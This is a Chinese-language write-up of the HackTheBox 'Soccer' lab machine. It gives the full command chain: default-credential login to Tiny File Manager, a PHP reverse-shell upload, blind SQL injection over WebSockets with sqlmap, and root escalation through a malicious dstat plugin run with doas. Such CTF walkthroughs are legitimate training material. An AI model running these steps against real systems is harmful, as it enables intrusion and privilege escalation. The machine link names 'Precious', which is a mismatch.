当前位置: 首页 > news >正文

HackTheBox Soccer 通过WebSockets进行SQL注入,Doas与Dstat插件提权

在这里插入图片描述

靶机网址:

https://app.hackthebox.com/machines/Precious

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.194

在这里插入图片描述

机子开放了22,80和9091端口,我们本地dns解析这个域名

echo "10.10.11.194 soccer.htb" >> /etc/hosts

然后fuzz网站根目录

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://soccer.htb/FUZZ

在这里插入图片描述

扫到一个目录,去网站上看看

在这里插入图片描述

看起来这是一个后台的登录页面,这个后台的框架名叫Tiny File Manager,在github上是开源的

https://github.com/prasathmani/tinyfilemanager

在这里插入图片描述

在这下面可以看到默认的用户名和密码,我们登录试试

在这里插入图片描述

登录后是一个文件上传的页面,我试了一下,发现可以上传文件的目录为/tiny/uploads

进入到这个目录,点击右上角的upload上传rev shell

我使用的rev shell:

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

需要更改ip和port参数

在这里插入图片描述

然后nc监听这个端口,回到网页上传文件

在这里插入图片描述

在这里插入图片描述

上传成功后点击这个图标访问rev shell

在这里插入图片描述

在这里插入图片描述

成功获得交互shell

现在使用linpeas脚本搜集主机信息

https://github.com/carlospolop/PEASS-ng/releases/tag/20221218
chmod +x linpeas.sh
./linpeas.sh

通过这个脚本,在这台机子上发现了很多漏洞,但是都用不了,应该是打补丁了

在下面,脚本列出的nginx默认配置里发现了一个子域名

在这里插入图片描述

我们本地dns解析这个域名

echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts

在这里插入图片描述

通过WebSockets进行SQL注入

现在访问这个域名

在这里插入图片描述

发现左上角有一个注册模块,我们注册一个账号

然后登录

在这里插入图片描述

登录后就会跳转到这个页面

在这里插入图片描述

似乎是要检查我们的票证,通过查看这个页面的源代码,可以发现突破点

在这里插入图片描述

它使用的是WebSockets,然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”

在这里插入图片描述

这里告诉我们,传递的参数为id,一会sql测试的时候需要用到它

现在需要通过WebSockets进行SQL注入测试,通过google,找到了这篇文章

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

在这里插入图片描述

我们将这个代码复制下来,新建一个python文件,并粘贴进去

在这里插入图片描述

根据那个网页源代码,修改ws_server和data参数

然后安装websocket模块

pip3 install websocket-client

安装完成后运行脚本

python3 web_socket.py

在这里插入图片描述

现在使用sqlmap进行测试

sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间

因为是时间盲注,所以需要等待几十分钟

在这里插入图片描述

现在得到用户名和密码了,使用ssh登录即可

ssh player@10.10.11.194

在这里插入图片描述

根据之前linpeas脚本搜集到的信息,发现doas程序有suid权限,doas也不是默认安装的程序,根据HTB机子的规律,这个程序多半是突破点了

在这里插入图片描述

什么是Doas

https://zh.m.wikipedia.org/zh-hans/Doas

在这里插入图片描述

简单来说,Doas是一个与Sudo具有相同功能的软件

寻找doas软件的配置

find / -type f -name doas.conf 2>/dev/null

在这里插入图片描述

提示允许用户player用dstat使用root

Dstat插件

通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/

在这里插入图片描述

我们可以往插件里写入rev shell获得root权限

我们移动到这个目录下,创建一个名为dstat_baimao.py的文件

cd /usr/local/share/dstat/
touch dstat_baimao.py
chmod 777 dstat_baimao.py

在这里插入图片描述

写入代码

import subprocess

subprocess.run(["bash"]) 
#启动一个新的 bash shell

然后使用Doas执行Dstat插件

doas /usr/bin/dstat --baimao

在这里插入图片描述

成功获得root权限

在这里插入图片描述

相关文章:

  • Java到底能干什么?实事求是地说一下
  • mybatis的配置与简单使用
  • lua与c#交互篇
  • B+树详解,一次就懂
  • R语言ggplot2可视化:错误条(error bar)在图形上是水平的、但是在图例中是垂直的、使用ggstance包纠正过来(图例图标也是水平的)
  • 【LeetCode】2011. 执行操作后的变量值
  • python基础(14):模块
  • Mac使用CMake编译stasm
  • Docker容器中安装Jenkins
  • 第5章 管理端(Vue)布局面的重构与路由的全局存储
  • 斩获数亿元B轮融资,这家Tier 1抢跑「L2/L2+」主战场
  • 【C++】类和对象(C++门槛)
  • 2023北京福祉展,残疾人用品展,中国国际康复博览会
  • 怎么给视频加水印?
  • FineReport企业数据图表-JS实现参数控件赋值
  • 水质检测中心实验室如何规划
  • CANoe-面向服务通信(概念篇)
  • MySQL的数据类型和存储引擎介绍
  • 【LeetCode每日一题:2011. 执行操作后的变量值~~~模拟】
  • UMC产品UI升级说明